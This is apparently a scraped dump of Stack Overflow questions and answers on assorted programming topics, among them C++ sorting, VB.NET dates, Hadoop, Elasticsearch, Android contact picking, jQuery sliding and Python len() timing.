typename iterator, typename Functype&gt; void sort_array(m_pointer member, iterator begin, iterator end, Functype pred){ iterator iter1=begin; while(iter1!=end &amp;&amp; ++iter1!=end){ iterator iter2=iter1; while(iter2!=begin){ iterator iter3=iter2; --iter3; if(pred((*iter3).*puntatore, (*iter2).*puntatore)){ std::swap(*iter3, *iter2); } else break; --iter2; } } } class card{ int suit; int value; public: card(): suit(0), value(0) {} card(int a, int b): suit(a), value(b){} bool operator==(card a){return (suit==a.get_s() &amp;&amp; value==a.get_v());} bool operator!= (card a){return !(*this==a);} void set_values(int a, int b){suit=a; value=b;} int get_v(){return value;} void set_v(int v){value=v;} int get_s(){return suit;} void set_s(int s){suit=s;} double points_card(); }; template&lt;typename iterator&gt; void ordina(iterator begin, iterator end, short (&amp;suit)[4]){ for(int i=0; i&lt;4; i++) suit[i]=0; iterator it1=begin; while(it1!=end){ if((*it1).get_s()==1) suit[0]+=1; else if((*it1).get_s()==2) suit[1]+=1; else if((*it1).get_s()==3) suit[2]+=1; else if((*it1).get_s()==4) suit[3]+=1; ++it1; } sort_array(&amp;carte::suit, begin, end, [](char a, char b){ if(b==0) return false; else if(a==0) return true; return (a&gt;b); }); sort_array(&amp;carte::value, begin, begin+suit[0], [](int a, int b){return (a&lt;b);}); sort_array(&amp;carte::value, begin+suit[0], begin+suit[0]+suit[1], [](int a, int b){return (a&lt;b);}); sort_array(&amp;carte::value, begin+suit[0]+suit[1], begin+suit[0]+suit[1]+suit[2], [](int a, int b){return (a&lt;b);}); sort_array(&amp;carte::value, begin+suit[0]+suit[1]+suit[2], begin+suit[0]+suit[1]+suit[2]+suit[3],[](int a, int b){return (a&lt;b);}); } int main(){ card array[5]={{2,3},{1,2},{3,4},{4,5},{3,2}}; short suits[4]={1,1,2,1}; ordina(array, array+5, suits); return 0; } </code></pre> <p><strong>EDIT 2:</strong> Yes, it runs <a href="http://coliru.stacked-crooked.com/a/d1795f0845770fcb" rel="nofollow">http://coliru.stacked-crooked.com/a/d1795f0845770fcb</a> . Please note that the code here is not translated and there are some lines i didn't add for brevity.</p> <p><strong>EDIT 3:</strong> As mentioned in Barry answer <a href="http://stackoverflow.com/a/35978073/5922196">http://stackoverflow.com/a/35978073/5922196</a>, this is a <code>gcc</code> compiler bug. I used <code>g++ 4.9.2</code> and this bug is still unresolved</p>
24548514	0	How to Calculate the difference between two dates <p>I have this code:</p> <pre><code>Private Sub CalculateBUT_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CalculateBUT.Click If SelectTheDateComboBox.Text = "Calculate the difference between two dates" Then FromYearTextBox.Text = FromDateTimePicker.Value.Year FromMonthTextBox.Text = FromDateTimePicker.Value.Month FromDayTextBox.Text = FromDateTimePicker.Value.Day ToYearTextBox.Text = ToDateTimePicker.Value.Year ToMonthTextBox.Text = ToDateTimePicker.Value.Month ToDayTextBox.Text = ToDateTimePicker.Value.Day Dim DaysMyString, MonthsMyString, YearsMyString As String Dim DaysDifferance, MonthsDifferance, YearsDifferance As Long DaysMyString = FromDateTimePicker.Value.Day MonthsMyString = FromDateTimePicker.Value.Month YearsMyString = FromDateTimePicker.Value.Year DaysDifferance = DateDiff(DateInterval.Day, ToDateTimePicker.Value.Day, CDate(DaysMyString)) MonthsDifferance = DateDiff(DateInterval.Month, ToDateTimePicker.Value.Month, CDate(MonthsMyString)) YearsDifferance = DateDiff(DateInterval.Year, ToDateTimePicker.Value.Year, CDate(YearsMyString)) DifferenceTextBox2.Text = DaysDifferance &amp; "Days, " &amp; MonthsDifferance &amp; "Months, " &amp; YearsDifferance &amp; "Years" End Sub </code></pre> <p>and my problem in the picture below : <img src="https://i.stack.imgur.com/fLzgA.png" alt="enter image description here"></p> <p>so, i need some help please.</p>
15452265	0	Unicorn doesn't run in production mode <p>I am running stack nginx+unicorn+rails 3.2</p> <p>When I am running </p> <pre><code>bundle exec unicorn_rails -c config/unicorn.rb -E development </code></pre> <p>it is ok, and site running well</p> <p>when I am trying start unicorn site in production mode</p> <pre><code>bundle exec unicorn_rails -c config/unicorn.rb -E production </code></pre> <p>I have "We're sorry, but something went wrong." error:</p> <p><img src="https://i.stack.imgur.com/0IESc.png" alt="enter image description here"></p>
10496754	0	Opentaps ERP- ClassNotFoundException error during running <p>Hi I am new to openTaps ERP development just a day before I started it.I have install a previously done project in my eclips.When I run it it gives me following error.I dont understand that error.</p> <p>what should be done?</p> <p>(I am using Postgresql database in it)</p> <pre><code>Exception in thread "main" java.lang.NoClassDefFoundError: org/slf4j/LoggerFactory at org.hibernate.cfg.Configuration.&lt;clinit&gt;(Configuration.java:152) at org.opentaps.foundation.infrastructure.Infrastructure.getSessionFactory(Infrastructure.java:120) at org.opentaps.common.container.HibernateContainer.start(HibernateContainer.java:109) at org.ofbiz.base.container.ContainerLoader.start(ContainerLoader.java:102) at org.ofbiz.base.start.Start.startStartLoaders(Start.java:264) at org.ofbiz.base.start.Start.startServer(Start.java:313) at org.ofbiz.base.start.Start.start(Start.java:317) at org.ofbiz.base.start.Start.main(Start.java:400) Caused by: java.lang.ClassNotFoundException: org.slf4j.LoggerFactory at java.net.URLClassLoader$1.run(Unknown Source) at java.security.AccessController.doPrivileged(Native Method) at java.net.URLClassLoader.findClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) ... 8 more </code></pre> <p>Anyone knows how to resolve it??</p>
23975558	0	 <p>you need to remove this semicolon</p> <pre><code> Name = p.Attribute("Name").Value, Type = (EnvironmentType)Enum.Parse(typeof (EnvironmentType), p.Attribute("Type").Value, true), DataCenters = p.Elements("DataCenter").Select( dc =&gt; new DataCenter { Name = dc.Attribute("Name").Value, DeployEnvironmentName = dc.Attribute ("DeployEnvironmentName").Value }) }); ^^^ }); </code></pre> <p>You shouldn't use semicolons in <a href="http://msdn.microsoft.com/en-us/library/bb384062.aspx" rel="nofollow">object initializers</a>, you should separate the properties with comma.</p>
33426174	0	 <p>I also did something similar based on this code:<br></p> <p><a href="https://github.com/royshil/FoodcamClassifier/blob/master/training_common.cpp" rel="nofollow">https://github.com/royshil/FoodcamClassifier/blob/master/training_common.cpp</a></p> <p>But the above part is after the clustering has finished. What you have to do is to train using your ML(I used SVM) and your cluster centers, the visual bag of words that you have. More, you need to find all the "closest" points to your clustered points and train them using histograms. Next, you will have a histogram of frequencies(bag of key points) that you need to train.</p> <pre><code>Ptr&lt;ifstream&gt; ifs(new ifstream("training.txt")); int total_samples_in_file = 0; vector&lt;string&gt; classes_names; vector&lt;string&gt; lines; //read from the file - ifs and put into a vector for(int i=0;i&lt;lines.size();i++) { vector&lt;KeyPoint&gt; keypoints; Mat response_hist; Mat img; string filepath; string line(lines[i]); istringstream iss(line); iss &gt;&gt; filepath; string class_to_train; iss &gt;&gt; class_to_train; class_ml = "class_" + class_to_train; if(class_ml.size() == 0) continue; img = imread(filepath); detector-&gt;detect(img,keypoints); bowide.compute(img, keypoints, response_hist); cout &lt;&lt; "."; cout.flush(); //here create the logic for the class to train(class_0, e.g) and the data you need to train. } </code></pre> <p>More you can find at this git project:<br> <a href="https://github.com/royshil/FoodcamClassifier" rel="nofollow">https://github.com/royshil/FoodcamClassifier</a> <br> Documentation here:<br> <a href="http://www.morethantechnical.com/2011/08/25/a-simple-object-classifier-with-bag-of-words-using-opencv-2-3-w-code/" rel="nofollow">http://www.morethantechnical.com/2011/08/25/a-simple-object-classifier-with-bag-of-words-using-opencv-2-3-w-code/</a></p>
2637940	0	 <p>Trigger are no differnt from other code, there are good triggers and porly written ones. The poorly written ones cause problems in both performance and data quality. Because so few people writing the triggers have understood how to write them correctly, triggers have gotten a bad reputation since so many of them are bad. </p> <p>Developers also tend to forget about triggers and then get frustrated when they can't figure out why something they think is strange (but which is really the designed action) is happening. It is not the trigger's fault when the developers aren't competent to troubleshoot data issues.</p> <p>For updated date, it is short-sighted at best not to populate with a trigger. Data is changed from more than the application, if you need the updated date, the trigger is the appropriate place for it. Unfortunately in today's world, the great God of "easy to maintain" is crippling many of our systems from both a performance and a data quality perspective.</p>
40887917	0	How to define a field in elasticsearch which is aggrigatable on kibana (ELK 5.0) <p>I've defined a field as an ip in the template and checked it is defined as ip in the relevant indexes.<br> But when I open the fields in kibana it appears as non searchable and non aggregatable (so I can't use it in the visualizer).<br> I've reloaded the fields several times but it didn't change.<br> Any help will be appreciated.<br> In the index mapping: GET myindex/_mapping </p> <pre><code>"properties": { "src": { "type": "ip" } } </code></pre> <p>In kibana I see the logs and I can search based on the src field.<br> The problem is just in the fields view and visualizer.</p>
10817152	0	 <p>To make sure an empty string is valid, add a <code>[Required]</code> attribute with <code>AllowEmptyStrings</code> set to <code>true</code>. This prevents <code>null</code> from being assigned, but allows empty strings.</p> <p>As for the regular expression, Romil's expression should work fine.</p> <pre><code>[DisplayName("Account Number:")] [Required(AllowEmptyStrings = true)] [RegularExpression(@"^1\d{7}$", ErrorMessage = "An eight digit long number starting with 1 required")] public string accountNo { get; set; } </code></pre> <p><strong>EDIT</strong> If you also want to <em>prevent</em> empty strings from being validated, simply leave out the <code>AllowEmptyStrings</code> settings (as it defaults to <code>false</code>).</p> <pre><code>[DisplayName("Account Number:")] [Required] [RegularExpression(@"^1\d{7}$", ErrorMessage = "An eight digit long number starting with 1 required")] public string accountNo { get; set; } </code></pre>
36023461	0	 <p>How to save R objects to disk:</p> <p><a href="https://stat.ethz.ch/R-manual/R-devel/library/base/html/save.html" rel="nofollow">Save R Objects</a></p> <p>I took your example code and produced working, human readable, R-loadable output as follows:</p> <pre><code>str_url &lt;- "https://www.holidayhouses.co.nz/Browse/List.aspx?page=1" read_html_test1 &lt;- xml2::read_html(str_url) str_html &lt;- as.character(read_html_test1) x &lt;- xml2::read_html(str_html) save(x, file="c:\\temp\\text.txt",compress=FALSE,ascii=TRUE) </code></pre>
37339590	0	 <p>You're modeling <a href="http://docs.jboss.org/hibernate/orm/5.1/userguide/html_single/Hibernate_User_Guide.html#associations-one-to-many-bidirectional" rel="nofollow">bidirectional <code>@OneToMany</code></a> and as shown in the example in the documentation you're responsible for setting the <em>parent</em> value on the <em>child</em> entity:</p> <pre><code>val order = orderRepository.save(Order(...).apply{ ... route = GeoHelpers.placesListToEntities(this, data.places), ... }) fun placesListToEntities(order:Order, points: List&lt;PlaceDto&gt;) = points.map { Route( order = order, location = Helpers.geometry(it.location.latitude, it.location.longitude), title = it.title ) } </code></pre> <p>PS. Since <code>Route</code> is an <a href="http://stackoverflow.com/questions/1695930/value-object-or-entity-object-in-my-hibernate-mapping">entity</a> you could change your model a bit to enforce the constraints on the langauge level i.e:</p> <pre><code>class Route internal constructor() { lateinit var order: Order constructor(order: Order) : this() { this.order = order } } </code></pre> <p>See <a href="http://stackoverflow.com/questions/32038177/kotlin-with-jpa-default-constructor-hell">this question</a> for more details.</p>
10279293	0	 <p>How about UNION which you write as 2 separate SELECT statements</p> <p>For example: <code> SELECT * FROM User U JOIN Employee E ON E.User_Id = U.User_Id UNION SELECT * FROM User U JOIN student S ON S.User_Id = U.User_Id </code> I couldn't see why you needed the CASE statement it looked superfluous. If you wanted all Users and to show nulls then use LEFT OUTER JOIN.</p>
1959965	0	 <p>We know what is a "site" and "application", so all we got left is <a href="http://en.wikipedia.org/wiki/World_Wide_Web" rel="nofollow noreferrer">The Web</a></p> <p>Now, a web application may be a part of a whole website. A website is comprehended of web applications. Though usually you'll see that a website has only one web application.</p> <p>For instance, you have an iPhone <em>device</em> (compared to a website) which may include different applications: playing music, videos, web browser etc.</p>
25043092	0	Hadoop Fail to Connect to ResourceManager <p>I am just testing out hadoop by running a wordcount example, but this error came up:</p> <pre><code>14/07/30 12:03:02 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable 14/07/30 12:03:03 INFO client.RMProxy: Connecting to ResourceManager at /127.0.0.1:8032 14/07/30 12:03:04 INFO ipc.Client: Retrying connect to server: localhost/127.0.0.1:8032. Already tried 0 time(s); retry policy is RetryUpToMaximumCountWithFixedSleep(maxRetries=10, sleepTime=1 SECONDS) 14/07/30 12:03:05 INFO ipc.Client: Retrying connect to server: localhost/127.0.0.1:8032. Already tried 1 time(s); retry policy is RetryUpToMaximumCountWithFixedSleep(maxRetries=10, sleepTime=1 SECONDS) </code></pre> <p>Some people on the internet have suggested it's because of the yarn-site.xml file. Mine is:</p> <pre><code> &lt;property&gt; &lt;name&gt;yarn.nodemanager.aux-services&lt;/name&gt; &lt;value&gt;mapreduce_shuffle&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.nodemanager.aux-services.mapreduce.shuffle.class&lt;/name&gt; &lt;value&gt;org.apache.hadoop.mapred.ShuffleHandler&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.scheduler.minimum-allocation-mb&lt;/name&gt; &lt;value&gt;128&lt;/value&gt; &lt;description&gt;Minimum limit of memory to allocate to each container request at the Resource Manager.&lt;/description&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.scheduler.maximum-allocation-mb&lt;/name&gt; &lt;value&gt;1024&lt;/value&gt; &lt;description&gt;Maximum limit of memory to allocate to each container request at the Resource Manager.&lt;/description&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.scheduler.minimum-allocation-vcores&lt;/name&gt; &lt;value&gt;1&lt;/value&gt; &lt;description&gt;The minimum allocation for every container request at the RM, in terms of virtual CPU cores. Requests lower than this won't take effect, and the specified value will get allocated the minimum.&lt;/description&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.scheduler.maximum-allocation-vcores&lt;/name&gt; &lt;value&gt;2&lt;/value&gt; &lt;description&gt;The maximum allocation for every container request at the RM, in terms of virtual CPU cores. Requests higher than this won't take effect, and will get capped to this value.&lt;/description&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.nodemanager.resource.memory-mb&lt;/name&gt; &lt;value&gt;2048&lt;/value&gt; &lt;description&gt;Physical memory, in MB, to be made available to running containers&lt;/description&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.nodemanager.resource.cpu-vcores&lt;/name&gt; &lt;value&gt;2&lt;/value&gt; &lt;description&gt;Number of CPU cores that can be allocated for containers.&lt;/description&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.nodemanager.aux-services&lt;/name&gt; &lt;value&gt;mapreduce_shuffle&lt;/value&gt; &lt;/property&gt; </code></pre> <p>I ran programs last week and it was working fine, so I really can't figure out what is going on. Help is appreciated.</p>
9877155	0	Scala/Akka Socket Server IterateeRef syntax <p>Can somebody please explain to me the meaning of this line of code?</p> <pre><code>val state = IO.IterateeRef.Map.async[IO.Handle]()(context.dispatcher) </code></pre> <p>(from <a href="http://doc.akka.io/docs/akka/2.0/scala/io.html" rel="nofollow">http://doc.akka.io/docs/akka/2.0/scala/io.html</a>)</p> <p>I guess this is a partial application of the async function, which is a curried function? But I thought that async was defined in IO.IterateeRef, not IO.IterateeRef.Map.</p>
7394560	0	Why don't inflated views respond to click listeners? <p>I'm trying to set a click listener for a button in my layout. The click listener is only triggered when I call findViewById() directly, and not when I take the view from the inflated layout:</p> <pre><code>public class MyActivity extends Activity implements View.OnClickListener { private static final String TAG = "MyActivity"; @Override public void onCreate( Bundle savedInstanceState ) { super.onCreate( savedInstanceState ); setContentView( R.layout.test ); Button button = (Button)findViewById( R.id.mybutton ); button.setOnClickListener( this ); LayoutInflater inflater = (LayoutInflater)getSystemService( Context.LAYOUT_INFLATER_SERVICE ); ViewGroup rootLayout = (ViewGroup)inflater.inflate( R.layout.test, (ViewGroup)findViewById( R.id.myroot ), false ); rootLayout.getChildAt( 0 ).setOnClickListener( new View.OnClickListener() { @Override public void onClick( View v ) { Log.d( TAG, "Click from inflated view" ); } } ); } @Override public void onClick( View v ) { Log.d( TAG, "Click" ); } } </code></pre> <p>Here is my layout:</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/myroot" android:orientation="vertical" android:layout_width="fill_parent" android:background="#ffffff" android:layout_height="fill_parent"&gt; &lt;Button android:text="Button" android:id="@+id/mybutton" android:layout_width="wrap_content" android:layout_height="wrap_content"&gt;&lt;/Button&gt; &lt;/LinearLayout&gt; </code></pre> <p>Why is this? I only get the click event from the first method and not from the inflated view.</p>
25130700	0	 <p>Add <code>&lt;base href="/demo/"&gt;</code> to your head or /demo/ to your links. The problem is, that you haven't told the browser to look in your subfolder.</p> <p>You can easily validate your links: just click on them, analyse the browser's addressbar and correct what's missing or extra in the address shown there.</p>
30372669	0	Add multiple images on a single page <p>How can I add multiple images on a page?</p> <p>I want to have pages with 3-4 paragraphs and under the paragraphs I want to have multiple images like a small photo gallery, I found a extension for the images in bolt lib but it is more photographic oriented and I wander if it is possible to do it simpler then using the plugin... the curiosity is if boltcms can do this with default build.</p>
30459865	0	 <p>I finally found the answer to my issue : it is NOT possible, but it might be possible to do it one day : see documentation about that : <a href="http://tools.android.com/tech-docs/new-build-system/user-guide#TOC-Library-Publication" rel="nofollow">http://tools.android.com/tech-docs/new-build-system/user-guide#TOC-Library-Publication</a></p> <p>I went through this problem with this solution :</p> <pre><code>// default publication is production which will be published without env name publishNonDefault true defaultPublishConfig "productionRelease" if (android.productFlavors.size() &gt; 0) { android.libraryVariants.all { variant -&gt; // Publish a main artifact, otherwise the maven pom is not generated if (android.publishNonDefault &amp;&amp; variant.name == android.defaultPublishConfig) { def bundleTask = tasks["bundle${name.capitalize()}"] artifacts { archives(bundleTask.archivePath) { classifier null builtBy bundleTask } } } } } </code></pre> <p>I am not satisfied with it but it will do the job for now ...</p>
40264982	0	Indexing books with Elasticsearch: which pages contain hits? <p>I'm indexing books with Elasticsearch to search them with FTS. One of the requirements is that I have to display numbers of pages that contain hits.</p> <p>I initially planned to include page separators in indexed string, then get highlights when I search and count page separators before highlighted words. On a second thought, I'm concerned about performance issues. Some books may be up to 500 KB in size. Counting words in strings that long sounds like a <em>bad</em> idea. It would be much better to compare offsets of matched words with offsets of page separators. As I understand, <code>with_positions_offsets</code> causes ES to store these offsets, so ideally I'd like it to do the job for me.</p> <p><strong>Can this be done in ES? What are alternative solutions to finding on which page of a book a hit is?</strong></p>
38778703	0	 <p>You will need to put the value into something so as you can compare it in the if statement. If I understand what you want then give this a try. I am also assuming you will get one result in the SQL statement.</p> <pre class="lang-vb prettyprint-override"><code> Set conn = New ADODB.Connection Set rs = New ADODB.Recordset conn.Open sConnString Set rs.ActiveConnection = conn strSQL = "SELECT [Contract Status] FROM [Investment Data] WHERE [Customer Number] =(" &amp; "SELECT [Customer Number] FROM [Excel 8.0;HDR=YES;DATABASE=" &amp; dbWb &amp; "]." &amp; dsh &amp; ")" rs.Open strSQL If Not rs.EOF Then xx = rs.GetRows Else 'do you code for not getting result rs.Close If xx(0, 0) = "Current" Then expiryPrompt = MsgBox("A previous entry from the same contract is currently active, would you like to expire current active contract?", vbYesNo, "Confirmation") Call Expiry Exit Sub Else MsgBox ("Entry has been entered into the database.") cN.Execute ssql Exit Sub End If </code></pre> <p>I also have not amended your code inside the if statement to follow my way I accessing the database.</p> <p>To answer your question in the coments. The result will be transposed into the variable. so accessing more than one row or column , you will need to do something like this.</p> <p>For getting the rows,</p> <pre class="lang-vb prettyprint-override"><code> For i = 0 To 9 Cells(i + 1, 1) = x(0, i) Next i </code></pre> <p>For getting the columns,</p> <pre class="lang-vb prettyprint-override"><code> For i = 0 To 9 Cells(1, i + 1) = x(i, 0) Next i </code></pre>
4307446	0	Jquery sliding gets more delayed for each click <p>If you login here <a href="http://freeri.freehostia.com/utanme/image.php" rel="nofollow">http://freeri.freehostia.com/utanme/image.php</a> Username/password:Demo123 and press any image and when it slides click the main image, do that a couple of times and suddently you'll notice that the sliding takes longer and longer for each time.</p> <p>the code im using</p> <pre><code>$(function(){ $('.slide:last-child img').live('click', function() { $('.slide:first-child').animate({ marginLeft: '0' },500); return false; }); $('.slide .img').click(function(){ var img = $(this).find('a').attr('href'); var title = $(this).find('h2').text(); var desc = $(this).find('p').text(); $('.slide:last-child img').attr('src',img); $('.slide:last-child h2').text(title); $('.slide:last-child #cont').text(desc); $('body').prepend('&lt;div id="cover"&gt;&lt;img src="./images/loader.gif"/&gt;&lt;/div&gt;'); $('.slide:last-child img').load(function(){ $('#cover').detach(); $('.slide:first-child').animate({ marginLeft: '-900px' },500); }); return false; }); }); </code></pre> <p>what am i missing here? any aid would be greatly appreciated</p>
11495856	0	Actionscript 3: Healthbar and Button <p>So basically I am making a game in which a button is clicked to decrease the amount of health in a healthbar. I have a button on the stage named fortyfivedown_btn, and a healthbar, which is a 101 frame (includes zero) movieclip. The health bar has an instance name of lifebar. On the stage, the button coding is:</p> <pre><code>fortyfivedown_btn.addEventListener(MouseEvent.CLICK, fortyfivedownClick); function fortyfivedownClick(event:MouseEvent):void{ lifebar.health = lifebar.health-45; } </code></pre> <p>Inside the healthbar movieclip, I have a layer of coding that is:</p> <pre><code>var health:int = 100; gotoAndStop(health + 1); if(health &lt; 0) health = 0; else if(health &gt; 100) health = 100; gotoAndStop(health + 1); </code></pre> <p>So, there is my coding. The thing is, when the button is clicked, the healthbar does not go down. I traced the health variable in the button:</p> <pre><code> fortyfivedown_btn.addEventListener(MouseEvent.CLICK, fortyfivedownClick); function fortyfivedownClick(event:MouseEvent):void{ lifebar.health = lifebar.health-45; } { trace(lifebar.health); } </code></pre> <p>I saw that the output is 0. For some reason the button believes the health is 0, when I declared it was 100 inside the healthbar movieclip? Any help is appreciated.</p> <p>(Edit)</p> <p>Alright, in answer to the trace question, if I don't do it like that, there is no output. I should say I'm a beginner at this all, and am learning as I go, so please bear with me. Here is my fla file:</p> <p><a href="https://skydrive.live.com/embed?cid=9AB08B59DCCDF9C6&amp;resid=9AB08B59DCCDF9C6%21107&amp;authkey=AGqFHhlHnvOXvuc" rel="nofollow">https://skydrive.live.com/embed?cid=9AB08B59DCCDF9C6&amp;resid=9AB08B59DCCDF9C6%21107&amp;authkey=AGqFHhlHnvOXvuc</a></p>
35239284	0	using compass mixins in scss files compiled by gulp in Laravel Elixir <p>I want to use Compass mixins and Capabilities in scss files that should compiled with <strong>Gulp</strong> tasks in <strong>laravel Elixir</strong>.</p> <p>For example , I have two scss files named <code>my-styles.css</code> and <code>app.scss</code> in <code>resource/assets/sass</code> directory :</p> <p>This is <code>my-styles.scss</code> file :</p> <pre><code>@import "compass/css3"; body{ opacity: 1.0; animation: test; color: red; text-align: center; a:link{ background-color: red; text-decoration: none ; &amp;.span{ color: red; @include border-radius(5px); } } } </code></pre> <p>And this is <code>app.scss</code> file Content :</p> <pre><code>a{ transform: scale(1.1); transform: rotate(30deg) scale(10); } </code></pre> <p>And to compile this scss files and combine them to a file name <code>all.css</code> in <code>public/css</code> directory , I write this :</p> <pre><code>var elixir = require('laravel-elixir'); var gulp = require('gulp'); var compass = require('gulp-compass'); var sass = require('gulp-sass'); gulp.task('compile', function () { return gulp .src(['my-styles.scss', 'app.scss']) .pipe(sass({compass: true, sourcemap: true, style: 'compressed'})) .pipe(gulp.dest('public/css/all.css')); }); elixir.config.sourcemaps = false; elixir(function (mix) { mix.task('compile'); }); </code></pre> <p>after running <code>gulp</code> command in console this messages are shown:</p> <pre><code>D:\wamp\www\newProject&gt;gulp [12:36:48] Using gulpfile D:\wamp\www\newProject\gulpfile.js [12:36:48] Starting 'default'... [12:36:48] Starting 'task'... [12:36:48] Starting 'compile'... [12:36:48] Finished 'task' after 17 ms [12:36:48] Finished 'default' after 21 ms [12:36:48] Finished 'compile' after 26 ms </code></pre> <p>But No file is created in <code>public</code> directory. </p> <p>what is Problem ?</p>
29627906	0	 <p>You do this by using a string:</p> <pre><code>&gt;&gt;&gt; class Node(messages.Message): ... name = messages.StringField(1) ... children = messages.MessageField('Node',2,repeated=True) </code></pre> <p>You can see an example of this in the echo service demo here:</p> <p><a href="https://github.com/google/protorpc/blob/master/demos/echo/services.py#L81" rel="nofollow">https://github.com/google/protorpc/blob/master/demos/echo/services.py#L81</a></p>
12711342	0	 <p>Since the statements are in a try block there's a chance that they will fail, and your program has a chance of trying to use a non-initialized variable. The solution is to initialize the variables to a default value that makes sense, i.e.,</p> <pre><code>int guess = -1; // some default value </code></pre> <p>You should also wrap the while loop around the try/catch block. Don't let the program progress until inputted data is valid.</p> <pre><code>boolean validGuess = false; while (!validGuess) { // prompt user for input here try { guess = Integer.parseInt(iConsole.nextLine()); if (/* .... test if guess is valid int */ ) { validGuess = true; } } catch (NumberFormatException e) { // notify user of bad input, that he should try again } } </code></pre> <p>You could even encapsulate all of this into its own method if you need to do similar things throughout the program.</p>
20734837	0	 <p>Welcome to Stackoverflow. </p> <p>Please download Android SDK and use adb.exe to acquire linux shell on the device and then you can do many things.</p> <p>Serial ports are for different uses dont try to use them unless you know what you are doing.</p>
2038752	0	 <p>As you say, the PHP interpreter will cope as-is.</p> <p>However, I'd say that adding the semicolon is probably slightly better practice, but that's just a personal coding preference.</p>
8232852	0	 <p>If you have an HTML5 DocType it should work, anything before that won't allow inline elements <code>a</code> to wrap block level elements <code>div</code>.</p> <p>Even if you use an anchor unless you do some z-indexing then your inner link likely won't be seen how you are expecting...since it's the same link it shouldn't be a problem, but that then becomes repetitive.</p>
32249059	0	 <p><strong>Firstly,</strong> you have not measured the speed of <code>len()</code>, you have measured the speed of creating a list/set <em>together with</em> the speed of <code>len()</code>.</p> <p>Use the <code>--setup</code> argument of <code>timeit</code>:</p> <pre><code>$ python -m timeit --setup "a=[1,2,3,4,5,6,7,8,9,10]" "len(a)" 10000000 loops, best of 3: 0.0369 usec per loop $ python -m timeit --setup "a={1,2,3,4,5,6,7,8,9,10}" "len(a)" 10000000 loops, best of 3: 0.0372 usec per loop </code></pre> <p>The statements you pass to <code>--setup</code> are run before measuring the speed of <code>len()</code>.</p> <p><strong>Secondly,</strong> you should note that <code>len(a)</code> is a pretty quick statement. The process of measuring its speed may be subject to "noise". Consider that <a href="https://hg.python.org/cpython/file/3.5/Lib/timeit.py#l70">the code executed (and measured) by timeit</a> is equivalent to the following:</p> <pre><code>for i in itertools.repeat(None, number): len(a) </code></pre> <p>Because both <code>len(a)</code> and <code>itertools.repeat(...).__next__()</code> are fast operations and their speeds may be similar, the speed of <code>itertools.repeat(...).__next__()</code> may influence the timings.</p> <p>For this reason, you'd better measure <code>len(a); len(a); ...; len(a)</code> (repeated 100 times or so) so that the body of the for loop takes a considerably higher amount of time than the iterator:</p> <pre><code>$ python -m timeit --setup "a=[1,2,3,4,5,6,7,8,9,10]" "$(for i in {0..1000}; do echo "len(a)"; done)" 10000 loops, best of 3: 29.2 usec per loop $ python -m timeit --setup "a={1,2,3,4,5,6,7,8,9,10}" "$(for i in {0..1000}; do echo "len(a)"; done)" 10000 loops, best of 3: 29.3 usec per loop </code></pre> <p>(The results still says that <code>len()</code> has the same performances on lists and sets, but now you are sure that the result is correct.)</p> <p><strong>Thirdly,</strong> it's true that "complexity" and "speed" are related, but I believe you are making some confusion. The fact that <code>len()</code> has <em>O(1)</em> complexity for lists and sets does not imply that it must run with the same speed on lists and sets.</p> <p>It means that, on average, no matter how long the list <code>a</code> is, <code>len(a)</code> performs the same asymptotic number of steps. And no matter how long the set <code>b</code> is, <code>len(b)</code> performs the same asymptotic number of steps. But the algorithm for computing the size of lists and sets may be different, resulting in different performances (timeit shows that this is not the case, however this may be a possibility).</p> <p><strong>Lastly,</strong></p> <blockquote> <p>If the creation of a set object takes more time compared to creating a list, what would be the underlying reason?</p> </blockquote> <p>A set, as you know, does not allow repeated elements. Sets in CPython are implemented as hash tables (to ensure average <em>O(1)</em> insertion and lookup): constructing and maintaining a hash table is much more complex than adding elements to a list.</p> <p>Specifically, when constructing a set, you have to compute hashes, build the hash table, look it up to avoid inserting duplicated events and so on. By contrast, lists in CPython are implemented as a simple array of pointers that is <code>malloc()</code>ed and <code>realloc()</code>ed as required.</p>
9556511	0	When using Pick_Contact, after i choose a Contact it open ups Android Market <p>help please</p> <p>here is my code on onClick</p> <pre><code> if(v.getId()==R.id.btnContacts) { Intent intent = new Intent(Intent.ACTION_PICK, ContactsContract.Contacts.CONTENT_URI); startActivityForResult(intent, PICK_CONTACT); } </code></pre> <p>here is my code on onActivityResult</p> <pre><code> if (resultCode == Activity.RESULT_OK) { Uri contactData = data.getData(); Cursor c = managedQuery(contactData, null, null, null, null); if (c.moveToFirst()) { String id = c.getString(c.getColumnIndexOrThrow(ContactsContract.Contacts._ID)); String hasPhone = c.getString(c.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER)); if (hasPhone.equalsIgnoreCase("1")) { Cursor phones = getContentResolver().query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI,null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID +" = "+ id, null, null); phones.moveToFirst(); String cNumber = phones.getString(phones.getColumnIndex("data1")); TextView txtPhoneNo = (TextView) findViewById(R.id.txt_PhoneNo); txtPhoneNo.setText(cNumber); c.close(); </code></pre> <p>i dont know what's happening have tried a dozen solutions but its still the same, im running this in my Galaxy Tab</p>
